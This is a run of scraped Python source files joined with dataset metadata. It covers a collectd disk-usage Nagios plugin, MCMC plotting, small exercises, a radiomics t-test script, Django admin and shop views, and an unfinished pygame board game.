NagAconda import Plugin\n\nMyPlugin = Plugin(\"Plugin to check partition usage from collectd\", \"1.0\")\nMyPlugin.add_option('H', 'host', 'host to check.', required=True)\nMyPlugin.add_option('S','socket','Socket to connect to. (default=/var/run/collectd-unixsock)',required=False,default='/var/run/collectd-unixsock')\nMyPlugin.add_option('M','mounts','Mount-points to check (default=all)',required=False,default='all')\nMyPlugin.add_option('v','version','CollectD version default=5.x',required=False,default=5)\n\nMyPlugin.enable_status('warning')\nMyPlugin.enable_status('critical')\nMyPlugin.start()\n\nc = collectd.Collect(MyPlugin.options.socket)\n\n\nmounts=[]\nif MyPlugin.options.mounts == 'all':\n\t\tmounts=c.mounts(MyPlugin.options.host)\nelse:\n\tmounts=MyPlugin.options.mounts.split(',')\n\t\nfor mount in mounts:\n\tmount=mount.replace('/','_').lstrip('/_')\n\tif mount == '':\n\t\tmount =\"root\"\n\tif MyPlugin.options.version == '4':\n\t\tformula=\"100 * #\"+MyPlugin.options.host+\"/df/df/\"+mount+\"/free 0# / ( #\"+MyPlugin.options.host+\"/df/df/\"+mount+\"/used 0# + #\"+MyPlugin.options.host+\"/df/df/\"+mount+\"/free 0# ) \"\n\telse:\n\t\tformula=\"100 * #\"+MyPlugin.options.host+\"/df-\"+mount+\"/df_complex-free 0# / ( #\"+MyPlugin.options.host+\"/df-\"+mount+\"/df_complex-free 0#+ #\"+MyPlugin.options.host+\"/df-\"+mount+\"/df_complex-used 0# + #\"+MyPlugin.options.host+\"/df-\"+mount+\"/df_complex-reserved 0# ) \"\n\n\t\t\n\tpct_free=c.calculate(formula)\n\tMyPlugin.set_value('pcr_free-'+mount, pct_free,scale='%')\n\t\n\n\n\nMyPlugin.finish()\n\n","sub_path":"plugins/check_fs_collectd.py","file_name":"check_fs_collectd.py","file_ext":"py","file_size_in_byte":1553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"348008539","text":"\"\"\"\nPlot data-misfits\nShiwei Lan @ U of Warwick, 2016\n\"\"\"\n\nimport os,pickle\n# from df import *\nimport numpy as np\nimport matplotlib.pyplot as plt\n# import pandas as pd\nfrom itertools import cycle\n\ndef autocorr(x):\n \"\"\"This one is closest to what plt.acorr does.\n http://stackoverflow.com/q/14297012/190597\n http://en.wikipedia.org/wiki/Autocorrelation#Estimation\n \"\"\"\n n = len(x)\n variance = x.var()\n x = x - x.mean()\n r = np.correlate(x, x, mode='full')[-n:]\n assert np.allclose(r, np.array(\n [(x[:n - k] * x[-(n - k):]).sum() for k in range(n)]))\n result = r / (variance * (np.arange(n, 0, -1)))\n return result\n\nalgs=('pCN','infMALA','infHMC','infmMALA','infmHMC','splitinfmMALA','splitinfmHMC')\nalg_names=('pCN','$\\infty$-MALA','$\\infty$-HMC','$\\infty$-mMALA','$\\infty$-mHMC','split$\\infty$-mMALA','split$\\infty$-mHMC')\nnum_algs=len(algs)\nfound = np.zeros(num_algs,dtype=np.bool)\n\nfolder = './analysis'\nfnames=[f for f in os.listdir(folder) if f.endswith('.pckl')]\n\nmax_iter=500\nmax_time=3000\n\n# plot data-misfit\nfig,axes = plt.subplots(num=0,nrows=2,figsize=(12,6))\nlines = [\"-\",\"-.\",\"--\",\"-\",\"--\",\":\",\"--\"]\nlinecycler0 = cycle(lines); linecycler1 = cycle(lines);\n\nfor a in range(num_algs):\n for f_i in fnames:\n if '_'+algs[a]+'_' in f_i:\n try:\n f=open(os.path.join(folder,f_i),'rb')\n _,_,_,_,loglik,_,time,_=pickle.load(f)\n# _,_,_,_,_,_,_,_,args=pickle.load(f)\n f.close()\n found[a]=True\n except:\n pass\n if found[a]:\n# spiter=time/(args.num_samp)\n spiter=time/10000\n axes[0].semilogy(range(max_iter),-loglik[:max_iter],next(linecycler0),linewidth=1.25)\n nsamp_in=np.floor(max_time/spiter)\n axes[1].semilogy(np.linspace(0,max_time,num=nsamp_in),-loglik[:nsamp_in],next(linecycler1),linewidth=1.25)\n\nplt.axes(axes[0])\nplt.axis('tight')\nplt.xlabel('iteration',fontsize=14); plt.ylabel('data-misfit',fontsize=14)\nplt.axes(axes[1])\n# plt.axis([0,100,-1,1])\nplt.axis('tight')\nplt.xlabel('time (seconds)',fontsize=14); plt.ylabel('data-misfit',fontsize=14)\n# plt.subplots_adjust(left=0.1, right=0.8, top=0.9, bottom=0.1)\n# add legend\nh2_pos=axes[1].get_position()\nplt.legend(np.array(alg_names)[found],fontsize=11,loc=2,bbox_to_anchor=(1.02,2.32),labelspacing=4.1)\nfig.tight_layout(rect=[0,0,.85,1])\nplt.savefig('./analysis/misfit.png')\n\nplt.show()\n","sub_path":"RANS/dimension-reduced-geom-infmcmc/elliptic_dili/v1/plot_misfit.py","file_name":"plot_misfit.py","file_ext":"py","file_size_in_byte":2448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"450204070","text":"# This problem was recently asked by Google.\n#\n# Given a list of numbers and a number k, return whether any two numbers from the list add up to k.\n#\n# For example, given [10, 15, 3, 7] and k of 17, return true since 10 + 7 is 17.\n#\n\ndef two_sum(lst, k):\n seen = set()\n for num in lst:\n if k - num in seen:\n return True\n seen.add(num)\n return False\n\n\n","sub_path":"Problem_1.py","file_name":"Problem_1.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"38728016","text":"# Copyright 2011-2017 Biomedical Imaging Group Rotterdam, Departments of\n# Medical Informatics and Radiology, Erasmus MC, Rotterdam, The Netherlands\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\nimport numpy as np\nimport pandas as pd\nimport PREDICT.IOparser.config_io_classifier as config_io\nimport PREDICT.genetics.genetic_processing as gp\nimport os\nfrom scipy.stats import ttest_ind, ranksums, mannwhitneyu\nimport csv\n\n\ndef ttest(features, patientinfo, config, output, verbose=True):\n # Load variables from the config file\n config = config_io.load_config(config)\n\n if type(patientinfo) is list:\n patientinfo = ''.join(patientinfo)\n\n if type(config) is list:\n config = ''.join(config)\n\n if type(output) is list:\n output = ''.join(output)\n\n # Create output folder if required\n if not os.path.exists(os.path.dirname(output)):\n os.makedirs(os.path.dirname(output))\n\n label_type = config['Genetics']['mutation_type']\n\n # Read the features and classification data\n print(\"Reading features and label data.\")\n label_data, image_features =\\\n readsingledata(features, patientinfo,\n label_type)\n\n # Extract feature labels and put values in an array\n feature_labels = image_features[0][1]\n feature_values = np.zeros([len(image_features), len(feature_labels)])\n for num, x in enumerate(image_features):\n feature_values[num, :] = x[0]\n\n # Open the output file\n myfile = open(output, 'wb')\n wr = csv.writer(myfile, quoting=csv.QUOTE_ALL)\n\n # Do a t-test on all feature values\n label_value = label_data['mutation_label']\n label_name = label_data['mutation_name']\n\n header = list()\n subheader = list()\n for i_name in label_name:\n header.append(str(i_name[0]))\n header.append('')\n header.append('')\n header.append('')\n # header.append('')\n header.append('')\n\n subheader.append('Label')\n subheader.append('Ttest')\n subheader.append('Welch')\n subheader.append('Wilcoxon')\n # subheader.append('Mann-Whitney')\n subheader.append('')\n\n wr.writerow(header)\n wr.writerow(subheader)\n\n savedict = dict()\n for i_class, i_name in zip(label_value, label_name):\n savedict[i_name[0]] = dict()\n pvalues = list()\n pvalueswelch = list()\n pvalueswil = list()\n # pvaluesmw = list()\n\n for num, fl in enumerate(feature_labels):\n fv = feature_values[:, num]\n classlabels = i_class.ravel()\n\n class1 = [i for j, i in enumerate(fv) if classlabels[j] == 1]\n class2 = [i for j, i in enumerate(fv) if classlabels[j] == 0]\n\n pvalues.append(ttest_ind(class1, class2)[1])\n pvalueswelch.append(ttest_ind(class1, class2, equal_var=False)[1])\n pvalueswil.append(ranksums(class1, class2)[1])\n # pvaluesmw.append(mannwhitneyu(class1, class2)[1])\n\n # Sort based on p-values:\n pvalues = np.asarray(pvalues)\n indices = np.argsort(pvalues)\n pvalues = pvalues[indices].tolist()\n feature_labels_o = np.asarray(feature_labels)[indices].tolist()\n pvalueswelch = np.asarray(pvalueswelch)[indices].tolist()\n pvalueswil = np.asarray(pvalueswil)[indices].tolist()\n # pvaluesmw = np.asarray(pvaluesmw)[indices].tolist()\n\n savedict[i_name[0]]['ttest'] = pvalues\n savedict[i_name[0]]['welch'] = pvalueswelch\n savedict[i_name[0]]['wil'] = pvalueswil\n # savedict[i_name[0]]['mw'] = pvaluesmw\n savedict[i_name[0]]['labels'] = feature_labels_o\n\n for num in range(0, len(savedict[i_name[0]]['ttest'])):\n writelist = list()\n for i_name in savedict.keys():\n labeldict = savedict[i_name]\n writelist.append(labeldict['labels'][num])\n writelist.append(labeldict['ttest'][num])\n writelist.append(labeldict['welch'][num])\n writelist.append(labeldict['wil'][num])\n # writelist.append(labeldict['mw'][num])\n writelist.append('')\n\n wr.writerow(writelist)\n\n print(\"Saved data!\")\n\n\ndef readsingledata(featurefiles, patientinfo=None, mutation_type=None):\n # Read and stack the features\n image_features = list()\n for i_feat in range(len(featurefiles)):\n feat_temp = pd.read_hdf(featurefiles[i_feat])\n feature_values_temp = feat_temp.feature_values\n feature_labels_temp = feat_temp.feature_labels\n image_features.append((feature_values_temp, feature_labels_temp))\n\n # Get the mutation labels and patient IDs\n if patientinfo is not None:\n mutation_data, image_features =\\\n gp.findmutationdata(patientinfo,\n mutation_type,\n featurefiles,\n image_features)\n\n print(\"Mutation Labels:\")\n print(mutation_data['mutation_label'])\n print('Total of ' + str(mutation_data['patient_IDs'].shape[0]) +\n ' patients')\n pos = np.sum(mutation_data['mutation_label'])\n neg = mutation_data['patient_IDs'].shape[0] - pos\n print(('{} positives, {} negatives').format(pos, neg))\n else:\n # Use filenames as patient ID s\n patient_IDs = list()\n for i in featurefiles:\n patient_IDs.append(os.path.basename(i))\n mutation_data = dict()\n mutation_data['patient_IDs'] = patient_IDs\n\n return mutation_data, image_features\n","sub_path":"PREDICT/ttest.py","file_name":"ttest.py","file_ext":"py","file_size_in_byte":6021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"76686438","text":"import csv\nimport os\nimport glob\n\npath_dir = r'csvs'\npath_file_condensado = r'condensado.csv'\n\nwith open(path_file_condensado, 'w', newline='') as file_condensado:\n file_condensado_csv = csv.writer(file_condensado, delimiter=';')\n file_condensado_csv.writerow(['Instituição financeira', 'tx a.m.', 'tx a.a.', 'data_i', 'data_f', 'segmento', 'modalidade', 'tipo_encargo', 'nome_do_arquivo'])\n\n for path_file_original in glob.glob(os.path.join(path_dir,'*.csv')):\n with open(path_file_original,'r', encoding='utf-8') as file_original:\n file_original_csv = csv.reader(file_original, delimiter=',')\n exportar_linha = False\n for row in file_original_csv:\n if exportar_linha and len(row) > 2:\n file_condensado_csv.writerow(row[1:2] + [str(\"{0:.2%}\".format(float(str(row[2]).replace(' ','').replace('.','').replace(',','.'))/100)).replace('.',','), str(\"{0:.2%}\".format(float(str(row[3]).replace(' ','').replace('.','').replace(',','.'))/100)).replace('.',',')] + row[4:] + [data_i, data_f, segmento, modalidade, tipo_encargo, nome_arquivo])\n if len(row) != 0 and len(row[0]) > 20 and row[0][2] == r'/' and row[0][5] == r'/' and row[0][10:13] == ' a ':\n data_i = row[0][0:10]\n data_f = row[0][-10:]\n segmento = row[1][0:(row[1].find(' - '))]\n modalidade = row[1][(row[1].find(' - ') + 3):]\n tipo_encargo = row[2]\n nome_arquivo = path_file_original[(path_file_original.rfind('\\\\') + 1):]\n elif len(row) != 0 and row[0]=='POSICAO':\n exportar_linha = True\n","sub_path":"organizador.py","file_name":"organizador.py","file_ext":"py","file_size_in_byte":1695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"11775847","text":"#Task\r\n#Given a base-10 integer,n , convert it to binary (base-2). Then find and print the base- 10 integer denoting the maximum number of \r\n# consecutive 1's in n's binary representation. When working with different bases, it is common to show the base as a subscript. \r\n\r\n\r\n#!/bin/python3\r\n\r\nimport math\r\nimport os\r\nimport random\r\nimport re\r\nimport sys\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n n = int(input().strip())\r\n binary=list(bin(n)[2:])\r\n count=0\r\n max_c=0\r\n for i in binary:\r\n if(i=='1'):\r\n count=count+1\r\n else:\r\n if count>max_c:\r\n max_c=count\r\n count=0\r\n if count>max_c:\r\n max_c=count\r\n print(max_c)","sub_path":"30_days_of_code/Day10_Binary_Numbers.py","file_name":"Day10_Binary_Numbers.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"375884626","text":"# NLP ; Embedding\n\nimport keras\nfrom keras.preprocessing.text import Tokenizer\n\ntext = '나는 맛있는 밥을 먹었다'\n\n'''자연어 처리의 기본'''\ntoken = Tokenizer()\ntoken.fit_on_texts([text]) # 토큰화: 지정한 문장을 '단어'단위로 자른 후 딕셔너리화한다\n\nprint(token.word_index) # {'나는': 1, '맛있는': 2, '밥을': 3, '먹었다': 4}\n\nx = token.texts_to_sequences([text]) # 문자열의 인덱스만 반환\nprint(x) # [[1, 2, 3, 4]]\n\n# 문자열 인덱싱에 가치는 없다\n# 카레가 5, 오므라이스가 1이면, 카레는 오므라이스의 5배의 가치? -> x\n# 따라서, 범주화를 시켜줘야 한다\n# 방법은? 원핫인코딩\nword_size = len(token.word_index) + 1 # to_categorical의 문제점: 첫 열의 인덱스가 0부터 시작, 따라서 + 1\nx = keras.np_utils.to_categorical(x, num_classes = word_size) # 단어의 수치화\nprint(x)\n\n# 문제점: 열이 많아진다 -> 데이터가 많아진다.\n# 데이터가 커지면? -> 압축..\n# 압축을 위해 등장한 개념: Embedding -> 자연어처리, 시계열에서 많이 사용함","sub_path":"keras/keras120_embedding1.py","file_name":"keras120_embedding1.py","file_ext":"py","file_size_in_byte":1172,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"589274908","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom django import forms\nfrom django.contrib import admin\nfrom django.core.urlresolvers import reverse_lazy\nfrom django.utils.translation import ugettext_lazy as _\nfrom lck.django.common.admin import (ModelAdmin,\n ForeignKeyAutocompleteTabularInline)\n\nfrom ralph.business.models import (\n BusinessSegment,\n Department,\n ProfitCenter,\n RoleProperty,\n RolePropertyType,\n RolePropertyTypeValue,\n RolePropertyValue,\n Venture,\n VentureExtraCost,\n VentureExtraCostType,\n VentureRole,\n)\nfrom ralph.cmdb.models_ci import CIOwner, CI, CIOwnershipType\nfrom ralph.integration.admin import RoleIntegrationInline\nfrom ralph.ui.widgets import ReadOnlyWidget\n\nimport ralph.util.venture as util_venture\n\n\nclass RolePropertyTypeValueInline(admin.TabularInline):\n model = RolePropertyTypeValue\n\n\nclass RolePropertyTypeAdmin(ModelAdmin):\n inlines = [RolePropertyTypeValueInline]\n\nadmin.site.register(RolePropertyType, RolePropertyTypeAdmin)\n\n\nclass RolePropertyInline(admin.TabularInline):\n model = RoleProperty\n exclude = ('venture',)\n\n\nclass VenturePropertyInline(admin.TabularInline):\n model = RoleProperty\n exclude = ('role',)\n\n\nclass VentureOwnerInline(admin.TabularInline):\n model = CIOwner\n exclude = ('created', 'modified')\n extra = 4\n\n\nclass VentureRoleInline(ForeignKeyAutocompleteTabularInline):\n model = VentureRole\n exclude = ('created', 'modified', 'preboot')\n extra = 4\n related_search_fields = {\n 'parent': ['^name'],\n }\n\n\nclass VentureExtraCostInline(admin.TabularInline):\n model = VentureExtraCost\n exclude = ('modified',)\n\n\nclass AutocompleteVentureExtraCostInline(ForeignKeyAutocompleteTabularInline):\n model = VentureExtraCost\n exclude = ('created', 'modified',)\n extra = 3\n related_search_fields = {\n 'venture': ['^name'],\n }\n\n\nclass VentureRoleAdminForm(forms.ModelForm):\n def clean_name(self):\n data = self.cleaned_data['name']\n if not util_venture.slug_validation(data):\n raise forms.ValidationError(\n \"Symbol can't be empty, has to start with\"\n \" a letter, and can't end with '_'. \"\n \"Allowed characters: a-z, 0-9, \"\n \"'_'. Example: simple_venture2\")\n return data\n\n\nclass VentureRoleAdmin(ModelAdmin):\n def members(self):\n from ralph.discovery.models import Device\n return unicode(Device.objects.filter(venture=self).count())\n members.short_description = _(\"members\")\n\n def venture_path(self):\n if not self.venture:\n return '---'\n else:\n return self.venture.path\n venture_path.short_description = _(\"venture_path\")\n\n inlines = [RolePropertyInline, RoleIntegrationInline]\n related_search_fields = {\n 'venture': ['^name'],\n 'parent': ['^name'],\n }\n form = VentureRoleAdminForm\n list_display = ('name', venture_path, 'path', members)\n list_filter = ('venture__data_center', 'venture__show_in_ralph',)\n search_fields = ('name', 'venture__name', 'venture__path')\n save_on_top = True\n\nadmin.site.register(VentureRole, VentureRoleAdmin)\n\n\nclass VentureExtraCostTypeAdmin(ModelAdmin):\n inlines = [AutocompleteVentureExtraCostInline, ]\n\nadmin.site.register(VentureExtraCostType, VentureExtraCostTypeAdmin)\n\n\nclass RolePropertyValueInline(admin.TabularInline):\n model = RolePropertyValue\n extra = 0\n\n\nclass SubVentureInline(admin.TabularInline):\n model = Venture\n exclude = ('created', 'modified', 'preboot',)\n extra = 0\n\n def __init__(self, *args, **kwargs):\n self.verbose_name = 'subventure'\n self.verbose_name_plural = 'subventures'\n super(SubVentureInline, self).__init__(*args, **kwargs)\n\n\nclass VentureAdminForm(forms.ModelForm):\n class Meta:\n model = Venture\n fields = [\n 'name',\n 'verified',\n 'preboot',\n 'data_center',\n 'parent',\n 'symbol',\n 'show_in_ralph',\n 'is_infrastructure',\n 'margin_kind',\n 'department',\n 'business_segment',\n 'profit_center',\n ]\n\n def clean_symbol(self):\n data = self.cleaned_data['symbol'].lower()\n if not util_venture.slug_validation(data):\n raise forms.ValidationError(\n \"Symbol can't be empty, has to start with a letter, and can't \"\n \"end with '_'. Allowed characters: a-z, 0-9, '_'. \"\n \"Example: simple_venture2\")\n else:\n try:\n venture = Venture.objects.get(symbol=data)\n if venture != self.instance:\n raise forms.ValidationError(\"Symbol already exist\")\n except Venture.DoesNotExist:\n pass\n return data\n\n def clean_business_segment(self):\n data = self.cleaned_data['business_segment']\n if not data:\n raise forms.ValidationError(\n \"Business segment is required\"\n )\n return data\n\n def clean_profit_center(self):\n data = self.cleaned_data['profit_center']\n if not data:\n raise forms.ValidationError(\n \"Profit center segment is required\"\n )\n return data\n\n\nclass VentureAdminVerifiedForm(VentureAdminForm):\n class Meta(VentureAdminForm.Meta):\n fields = [field for field in\n VentureAdminForm.Meta.fields if field != 'verified']\n widgets = {\n 'name': ReadOnlyWidget,\n 'symbol': ReadOnlyWidget,\n }\n\n def clean_name(self):\n return self.instance.name\n\n def clean_symbol(self):\n return self.instance.symbol\n\n\nclass VentureAdmin(ModelAdmin):\n inlines = [\n SubVentureInline,\n VentureExtraCostInline,\n VentureRoleInline,\n VenturePropertyInline,\n ]\n related_search_fields = {\n 'parent': ['^name'],\n }\n\n def get_form(self, request, obj=None):\n if obj and obj.verified:\n return VentureAdminVerifiedForm\n return VentureAdminForm\n\n def has_delete_permission(self, request, obj=None):\n return False\n\n def members(self):\n from ralph.discovery.models import Device\n return unicode(Device.objects.filter(venture=self).count())\n members.short_description = _(\"members\")\n\n def technical_owners(self):\n ci = CI.get_by_content_object(self)\n if not ci:\n return []\n owners = CIOwner.objects.filter(\n ciownership__type=CIOwnershipType.technical.id,\n ci=ci\n )\n part_url = reverse_lazy('ci_edit', kwargs={'ci_id': str(ci.id)})\n link_text = \", \".join([unicode(owner)\n for owner in owners]) if owners else '[add]'\n return \"{}\".format(part_url, link_text)\n technical_owners.short_description = _(\"technical owners\")\n technical_owners.allow_tags = True\n\n def business_owners(self):\n ci = CI.get_by_content_object(self)\n if not ci:\n return []\n owners = CIOwner.objects.filter(\n ciownership__type=CIOwnershipType.business.id,\n ci=ci\n )\n part_url = reverse_lazy('ci_edit', kwargs={'ci_id': str(ci.id)})\n link_text = \", \".join([unicode(owner)\n for owner in owners]) if owners else '[add]'\n return \"{}\".format(part_url, link_text)\n business_owners.short_description = _(\"business owners\")\n business_owners.allow_tags = True\n\n list_display = (\n 'name',\n 'path',\n 'data_center',\n members,\n technical_owners,\n business_owners,\n 'business_segment',\n 'profit_center',\n )\n list_filter = ('data_center', 'show_in_ralph',)\n search_fields = (\n 'name',\n 'symbol',\n 'business_segment__name',\n 'profit_center__name',\n )\n save_on_top = True\n\nadmin.site.register(Venture, VentureAdmin)\nadmin.site.disable_action('delete_selected')\n\n\nclass DepartmentAdmin(ModelAdmin):\n list_display = ('name',)\n search_fields = ('name',)\n save_on_top = True\n\nadmin.site.register(Department, DepartmentAdmin)\n\n\nclass ProfitCenterAdmin(ModelAdmin):\n list_display = ('name', 'description')\n search_fields = ('name', 'description')\n save_on_top = True\n\nadmin.site.register(ProfitCenter, ProfitCenterAdmin)\n\n\nclass BusinessSegmentAdmin(ModelAdmin):\n list_display = ('name',)\n search_fields = ('name',)\n save_on_top = True\n\nadmin.site.register(BusinessSegment, BusinessSegmentAdmin)\n","sub_path":"src/ralph/business/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":8886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"74510755","text":"# -*- coding: utf-8 -*-\nfrom datetime import timedelta\nimport hashlib\nfrom django.core.files.base import ContentFile\nfrom django.db.models import Q\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.shortcuts import render\nfrom django.utils.datetime_safe import datetime\nfrom godsome.main.models import get_or_none, sort_nearby\nfrom godsome.shop.models import Shop, Designer, DesignerMenu, DesignerSchedule, DesignerCoupon, ShopCoupon, \\\n CATEGORY_IN_SHOP_CHOICES, ShopPic\n\n\ndef shop(request,sid=None):\n shop = get_or_none(Shop,id=sid)\n context = {\n 'user': request.user,\n 'shop':shop,\n 'appname':'shop'\n }\n return render(request, 'shop.html', context)\n\ndef designer(request,did=None):\n designer = get_or_none(Designer,id=did)\n context = {\n 'user': request.user,\n 'designer':designer,\n 'appname':'designer'\n }\n return render(request, 'designer.html', context)\n\ndef designer_post_menu(request):\n designer = request.user.get_profile().get_designer()\n menu_id = request.POST.getlist('menu_id')\n name = request.POST.getlist('name')\n price = request.POST.getlist('price')\n hour = request.POST.getlist('hour')\n per = request.POST.getlist('per')\n\n if name :\n for i in range(0,len(name)):\n if name[i] :\n if menu_id[i] :\n menu = get_or_none(DesignerMenu,designer=designer,id=menu_id[i])\n menu.name = name[i]\n menu.price = price[i]\n menu.hour = hour[i]\n menu.per = per[i]\n menu.save()\n else :\n DesignerMenu.objects.create(designer=designer,name=name[i],price=price[i],hour=hour[i],per=per[i])\n else :\n if menu_id[i] :\n menu = get_or_none(DesignerMenu,designer=designer,id=menu_id[i])\n menu.delete()\n return HttpResponseRedirect(\"/profile/\")\n\ndef designer_post_schedule(request):\n mode = request.POST.get('mode')\n\n if mode == \"create\":\n did = request.POST.get(\"did\")\n date_start = request.POST.get(\"date_start\")\n menu = request.POST.get(\"menu\")\n\n designer = get_or_none(Designer,id=did)\n date_start = datetime.strptime(date_start, \"%Y-%m-%d %H:%M:%S\")\n menu = get_or_none(DesignerMenu,designer=designer,name=menu)\n\n if menu :\n DesignerSchedule.objects.create(\n designer = designer,\n user = request.user,\n menu = menu,\n date_start = date_start,\n date_end = date_start + timedelta(hours=menu.hour)\n )\n return HttpResponse(\"1\")\n elif mode == 'confirm':\n sid = request.POST.get(\"sid\")\n schedule = get_or_none(DesignerSchedule,id=sid)\n if schedule :\n schedule.confirm = True\n schedule.save()\n return HttpResponse(\"1\")\n elif mode == 'delete':\n sid = request.POST.get(\"sid\")\n schedule = get_or_none(DesignerSchedule,id=sid)\n if schedule:\n schedule.delete()\n return HttpResponse(\"1\")\n return HttpResponse(\"0\")\n\ndef shop_post_coupon(request):\n designer = get_or_none(Designer,id=request.POST.get(\"did\"))\n shop = get_or_none(Shop,id=request.POST.get(\"sid\"))\n amount = int(request.POST.get(\"amount\",0))\n if designer :\n ShopCoupon.objects.get_or_create(shop=shop,amount=-amount)\n DesignerCoupon.objects.get_or_create(designer=designer,amount=amount)\n return HttpResponse(\"1\")\n else :\n return HttpResponse(\"0\")\n\ndef hair(request):\n location = request.GET.get('q')\n shops = Shop.objects.filter(category='H',is_active=True)\n shops = sort_nearby(shops,location)\n context = { 'user': request.user,'shops':shops,'appname':'category','title':u'헤어','location':location}\n return render(request, 'category.html', context)\n\ndef nail(request):\n location = request.GET.get('q')\n shops = Shop.objects.filter(category='N',is_active=True)\n shops = sort_nearby(shops,location)\n context = { 'user': request.user,'shops':shops,'appname':'category','title':u'네일','location':location }\n return render(request, 'category.html', context)\n\ndef skin(request):\n location = request.GET.get('q')\n shops = Shop.objects.filter(category='S',is_active=True)\n shops = sort_nearby(shops,location)\n context = { 'user': request.user,'shops':shops,'appname':'category','title':u'피부관리','location':location }\n return render(request, 'category.html', context)\n\ndef diet(request):\n location = request.GET.get('q')\n shops = Shop.objects.filter(category='D',is_active=True)\n shops = sort_nearby(shops,location)\n context = { 'user': request.user,'shops':shops,'appname':'category','title':u'다이어트','location':location }\n return render(request, 'category.html', context)\n\ndef wax(request):\n location = request.GET.get('q')\n shops = Shop.objects.filter(Q(category='T')|Q(category='W'),is_active=True)\n shops = sort_nearby(shops,location)\n context = { 'user': request.user,'shops':shops,'appname':'category','title':u'태닝&왁싱','location':location }\n return render(request, 'category.html', context)\n\ndef pat(request):\n location = request.GET.get('q')\n shops = Shop.objects.filter(category='P',is_active=True)\n shops = sort_nearby(shops,location)\n context = { 'user': request.user,'shops':shops,'appname':'category','title':u'애견미용','location':location }\n return render(request, 'category.html', context)\n\ndef nearby(request):\n location = request.GET.get('q')\n\n shops = Shop.objects.filter(is_active=True)\n shops = sort_nearby(shops,location)[:50]\n\n context = {\n 'user': request.user,\n 'location':location,\n 'shops':shops,\n 'appname':'nearby'\n }\n return render(request, 'nearby.html', context)\n\ndef register(request):\n context = {\n 'user': request.user,\n 'categories':CATEGORY_IN_SHOP_CHOICES,\n 'appname':'register'\n }\n return render(request, 'register.html', context)\n\ndef register_post(request):\n category = request.POST.get('select_register_category')\n uid = request.POST.get('input_register_uid',0)\n title = request.POST.get('input_register_title')\n pw = request.POST.get('input_register_pw')\n address = request.POST.get('input_register_address')\n phone = request.POST.get('input_register_phone')\n date_open = request.POST.get('input_register_start')\n date_close = request.POST.get('input_register_end','08:00:00')\n map = request.POST.get('input_register_map','20:00:00')\n parking = request.POST.get('input_register_parking',False)\n active = request.POST.get('input_register_active',True)\n\n shop = Shop.objects.create(\n category = category,\n title = title,\n owner = request.user,\n address = address,\n phone = phone,\n date_open = date_open,\n date_close = date_close,\n map = map,\n is_able_parking = parking,\n is_active = active,\n password = hashlib.sha256(pw).hexdigest()\n )\n\n shop.uid = \"%s%03d\"%(uid,shop.id)\n shop.save()\n\n for img_file in request.FILES.getlist('input_register_file'):\n img = ShopPic.objects.create(shop=shop,src=\"\")\n img.src.save(img_file.name, ContentFile(img_file.read()))\n\n return HttpResponseRedirect(\"/register/\")","sub_path":"godsome/shop/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"431373050","text":"import pygame,sys\nfrom pygame.locals import *\nimport numpy as np\n\n#hallo welt\nfps = 30\nwindowwidth = 640\nwindowheight= 480\nrevealspeed = 8\nboxsize = 40\ngapsize = 10\nboardwidth = 7\nboardheight = 6\nassert (boardwidth * boardheight)% 2 == 0, 'number of boxes needs to be even'\n\nxmargin = int((windowwidth - (boardwidth * (boxsize + gapsize))) / 2)\nymargin = int((windowheight - (boardheight * (boxsize + gapsize))) / 2)\n\n# color\ngray = (100,100,100)\nred = (255,0,0)\nblue = (0,0,255)\nblack = (0,0,0)\nwhite = (255,255,255)\nboxcolor = (100,100,100)\n\nclass game:\n def __init__(self,windowwidth,windowheight,revealspeed,boxsize,gapsize,boardwidth,boardheight):\n gray = (100,100,100)\n red = (255,0,0)\n blue = (0,0,255)\n black = (0,0,0)\n white = (255,255,255)\n boxcolor = (100,100,100)\n assert (boardwidth * boardheight)% 2 == 0, 'number of boxes needs to be even'\n #\n xmargin = int((windowwidth - (boardwidth * (boxsize + gapsize))) / 2)\n ymargin = int((windowheight - (boardheight * (boxsize + gapsize))) / 2)\n boardArray = np.zeros((boardheight,boardwidth))\n\n def on__init__(self):\n #initializes pygame (it has to be started to use pygame methods/functions)\n pygame.init()\n #set the maximum framerate and the number of game loops per second\n fpsclock= pygame.time.Clock()\n #init display and size\n displaysurf = pygame.display.set_mode((windowwidth,windowheight))\n displaysurf.fill(white)\n #current mouse position\n mousex = 0\n mousey = 0\n #name of window\n pygame.display.set_caption('not memory game')\n #we dont need these\n #player1_boxes = None\n #player2_boxes = None\n\n\n def main(self):\n\n #game loop\n while True:\n mouseClicked = False\n displaysurf.fill(white)\n drawBoard(mainBoard,playerStones)\n\n for event in pygame.event.get():\n if event.type == QUIT or (event.type == KEYUP and event.key == K_ESCAPE):\n pygame.quit()\n sys.exit()\n elif event.type == MOUSEMOTION:\n mousex,mousey = event.pos\n elif event.type == MOUSEBUTTONUP:\n mousex, mousey 